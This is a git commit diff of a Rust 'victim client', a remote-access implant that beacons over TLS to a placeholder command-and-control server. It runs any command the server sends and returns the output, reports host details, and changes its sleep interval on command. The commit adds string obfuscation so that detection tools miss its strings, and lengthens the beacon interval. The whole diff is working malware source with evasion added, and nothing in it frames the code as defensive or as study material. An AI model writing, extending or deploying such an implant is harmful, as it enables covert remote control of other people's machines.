added string obfusation to the victim client.
This commit is contained in:
+114
-131
@@ -1,3 +1,4 @@
|
||||
use obfstr::{obfstr, obfstring};
|
||||
use rustls::ClientConfig;
|
||||
use rustls::ClientConnection;
|
||||
use rustls::RootCertStore;
|
||||
@@ -44,7 +45,7 @@ impl Server {
|
||||
self.client_id = id.trim().parse()?;
|
||||
}
|
||||
self.message_que
|
||||
.push(format!("SET_HOSTNAME|{}", self.client_name));
|
||||
.push(format!("SET_HOSTNAME|{}", self.client_name));
|
||||
self.connected = true;
|
||||
self.last_check = Instant::now();
|
||||
return Ok(self.client_id);
|
||||
@@ -73,13 +74,13 @@ impl Server {
|
||||
let payload = format!(
|
||||
"{}**{}|||{}\n",
|
||||
self.password.clone(),
|
||||
self.client_id.clone(),
|
||||
self.message_que.join("||")
|
||||
self.client_id.clone(),
|
||||
self.message_que.join("||")
|
||||
);
|
||||
|
||||
if let Err(e) = stream.write_all(payload.as_bytes()) {
|
||||
self.action_que
|
||||
.push(format!("Error|sending reponse output to server! {e}"));
|
||||
.push(format!("Error|sending reponse output to server! {e}"));
|
||||
}
|
||||
self.message_que.clear();
|
||||
let mut buffer = [0; 4096];
|
||||
@@ -119,19 +120,19 @@ fn main() -> Result<(), Box<dyn Error>> {
|
||||
roots.add(cert)?;
|
||||
}
|
||||
let client_config = ClientConfig::builder()
|
||||
.with_root_certificates(roots)
|
||||
.with_no_client_auth();
|
||||
.with_root_certificates(roots)
|
||||
.with_no_client_auth();
|
||||
let mut server = Server {
|
||||
address: "|||SERVER|||".to_string(),
|
||||
address: obfstring!("|||SERVER|||"),
|
||||
connected: false,
|
||||
timer: Duration::from_secs(1),
|
||||
timer: Duration::from_secs(90),
|
||||
last_check: Instant::now(),
|
||||
config: Arc::new(client_config),
|
||||
message_que: Vec::new(),
|
||||
action_que: Vec::new(),
|
||||
client_id: 0,
|
||||
client_name: "Victim1".to_string(),
|
||||
password: "|||PASSWORD|||".to_string(),
|
||||
client_name: obfstring!("Victim1"),
|
||||
password: obfstring!("|||PASSWORD|||"),
|
||||
logged_in: false,
|
||||
};
|
||||
let system = System::host_name();
|
||||
@@ -149,137 +150,119 @@ fn main() -> Result<(), Box<dyn Error>> {
|
||||
server.checkin();
|
||||
if !server.action_que.is_empty() {
|
||||
for action in server.action_que.clone() {
|
||||
if let Some((action, data)) = action.split_once("|") {
|
||||
match action.trim() {
|
||||
"CMD" => {
|
||||
let data = data.trim();
|
||||
let cmd;
|
||||
let mut args = Vec::new();
|
||||
if data.trim().contains(" ") {
|
||||
let (given_cmd, given_args) = data.split_once(" ").unwrap();
|
||||
cmd = given_cmd.to_string();
|
||||
given_args.split(" ").into_iter().for_each(|a| {
|
||||
args.push(a.to_string());
|
||||
});
|
||||
if let Some((action, data)) = action.split_once(obfstr!("|")) {
|
||||
if action.trim() == obfstr!("CMD") {
|
||||
let data = data.trim();
|
||||
let cmd;
|
||||
let mut args = Vec::new();
|
||||
if data.trim().contains(" ") {
|
||||
let (given_cmd, given_args) = data.split_once(" ").unwrap();
|
||||
cmd = given_cmd.to_string();
|
||||
given_args.split(" ").into_iter().for_each(|a| {
|
||||
args.push(a.to_string());
|
||||
});
|
||||
} else {
|
||||
cmd = data.trim().to_string();
|
||||
}
|
||||
if cmd.trim() == obfstr!("set_sleep") {
|
||||
if let Ok(secs) = args[0].parse::<u64>() {
|
||||
server.timer = Duration::from_secs(secs);
|
||||
server
|
||||
.message_que
|
||||
.push(
|
||||
format!("OUTPUT|Set sleep for {} seconds", secs,),
|
||||
);
|
||||
} else {
|
||||
cmd = data.trim().to_string();
|
||||
server.message_que.push(
|
||||
"OUTPUT|Error parsing Seconds count from arguments."
|
||||
.to_string(),
|
||||
);
|
||||
}
|
||||
match cmd.trim() {
|
||||
"set_sleep" => {
|
||||
if let Ok(secs) = args[0].parse::<u64>() {
|
||||
server.timer = Duration::from_secs(secs);
|
||||
server.message_que.push(format!(
|
||||
"OUTPUT|Set sleep for {} seconds",
|
||||
secs,
|
||||
));
|
||||
} else {
|
||||
server.message_que.push("OUTPUT|Error parsing Seconds count from arguments.".to_string());
|
||||
}
|
||||
}
|
||||
"victim_info" => {
|
||||
server
|
||||
.message_que
|
||||
.push(format!("OUTPUT|Address:{}", server.address));
|
||||
server.message_que.push(format!(
|
||||
"OUTPUT|Timer:{}",
|
||||
server.timer.as_secs()
|
||||
));
|
||||
server
|
||||
.message_que
|
||||
.push(format!("OUTPUT|ID:{}", server.client_id));
|
||||
server.message_que.push(format!(
|
||||
"OUTPUT|Hostname:{}",
|
||||
server.client_name
|
||||
));
|
||||
let system = System::new_all();
|
||||
} else if cmd.trim() == obfstr!("victim_info") {
|
||||
server
|
||||
.message_que
|
||||
.push(format!("OUTPUT|Address:{}", server.address));
|
||||
server
|
||||
.message_que
|
||||
.push(format!("OUTPUT|Timer:{}", server.timer.as_secs()));
|
||||
server
|
||||
.message_que
|
||||
.push(format!("OUTPUT|ID:{}", server.client_id));
|
||||
server
|
||||
.message_que
|
||||
.push(format!("OUTPUT|Hostname:{}", server.client_name));
|
||||
let system = System::new_all();
|
||||
|
||||
server.message_que.push(format!(
|
||||
"Available RAM:{}",
|
||||
system.free_memory()
|
||||
));
|
||||
server.message_que.push(format!(
|
||||
"Num CPUs:{}",
|
||||
system.cpus().iter().count()
|
||||
));
|
||||
server.message_que.push(format!(
|
||||
"Total RAM:{}",
|
||||
system.total_memory()
|
||||
));
|
||||
}
|
||||
_ => {
|
||||
let mut command = Command::new(&cmd);
|
||||
if !args.is_empty() {
|
||||
args.iter().for_each(|a| {
|
||||
command.arg(a);
|
||||
});
|
||||
}
|
||||
let handle = spawn(move || -> String {
|
||||
let mut out = String::new();
|
||||
let res = command.output();
|
||||
match res {
|
||||
Ok(result) => {
|
||||
if result.status.success() {
|
||||
out.push_str(&format!(
|
||||
"{} completed successfully!\n",
|
||||
cmd
|
||||
));
|
||||
if !result.stderr.is_empty() {
|
||||
let err_string =
|
||||
String::from_utf8_lossy(
|
||||
&result.stderr,
|
||||
)
|
||||
server
|
||||
.message_que
|
||||
.push(format!("Available RAM:{}", system.free_memory()));
|
||||
server
|
||||
.message_que
|
||||
.push(format!("Num CPUs:{}", system.cpus().iter().count()));
|
||||
server
|
||||
.message_que
|
||||
.push(format!("Total RAM:{}", system.total_memory()));
|
||||
} else {
|
||||
let mut command = Command::new(&cmd);
|
||||
if !args.is_empty() {
|
||||
args.iter().for_each(|a| {
|
||||
command.arg(a);
|
||||
});
|
||||
}
|
||||
let handle = spawn(move || -> String {
|
||||
let mut out = String::new();
|
||||
let res = command.output();
|
||||
match res {
|
||||
Ok(result) => {
|
||||
if result.status.success() {
|
||||
out.push_str(&format!(
|
||||
"{} completed successfully!\n",
|
||||
cmd
|
||||
));
|
||||
if !result.stderr.is_empty() {
|
||||
let err_string =
|
||||
String::from_utf8_lossy(&result.stderr)
|
||||
.to_string();
|
||||
out.push_str(&format!(
|
||||
"errors: {}\n",
|
||||
err_string
|
||||
));
|
||||
}
|
||||
if !result.stdout.is_empty() {
|
||||
let out_string =
|
||||
String::from_utf8_lossy(
|
||||
&result.stdout,
|
||||
)
|
||||
.to_string();
|
||||
out.push_str(&format!(
|
||||
"std_out: {}\n",
|
||||
out_string
|
||||
));
|
||||
}
|
||||
} else {
|
||||
out.push_str(&format!(
|
||||
"{} failed.\n",
|
||||
cmd
|
||||
));
|
||||
if !result.stderr.is_empty() {
|
||||
let out_string =
|
||||
String::from_utf8_lossy(
|
||||
&result.stderr,
|
||||
)
|
||||
.to_string();
|
||||
out.push_str(&format!(
|
||||
"Errors: {}",
|
||||
out_string
|
||||
));
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
out.push_str(&format!(
|
||||
"Error getting command: {e}"
|
||||
"errors: {}\n",
|
||||
err_string
|
||||
));
|
||||
}
|
||||
if !result.stdout.is_empty() {
|
||||
let out_string =
|
||||
String::from_utf8_lossy(&result.stdout)
|
||||
.to_string();
|
||||
out.push_str(&format!(
|
||||
"std_out: {}\n",
|
||||
out_string
|
||||
));
|
||||
}
|
||||
} else {
|
||||
out.push_str(&format!("{} failed.\n", cmd));
|
||||
if !result.stderr.is_empty() {
|
||||
let out_string =
|
||||
String::from_utf8_lossy(&result.stderr)
|
||||
.to_string();
|
||||
out.push_str(&format!(
|
||||
"Errors: {}",
|
||||
out_string
|
||||
));
|
||||
}
|
||||
}
|
||||
return out;
|
||||
});
|
||||
handles.insert(handle_id, Some(handle));
|
||||
handle_id += 1;
|
||||
}
|
||||
Err(e) => {
|
||||
out.push_str(&format!(
|
||||
"Error getting command: {e}"
|
||||
));
|
||||
}
|
||||
}
|
||||
}
|
||||
return out;
|
||||
});
|
||||
handles.insert(handle_id, Some(handle));
|
||||
handle_id += 1;
|
||||
}
|
||||
"DISCONNECT" => {
|
||||
stop = true;
|
||||
}
|
||||
_ => {}
|
||||
} else if action.trim() == obfstr!("DISCONNECT") {
|
||||
stop = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user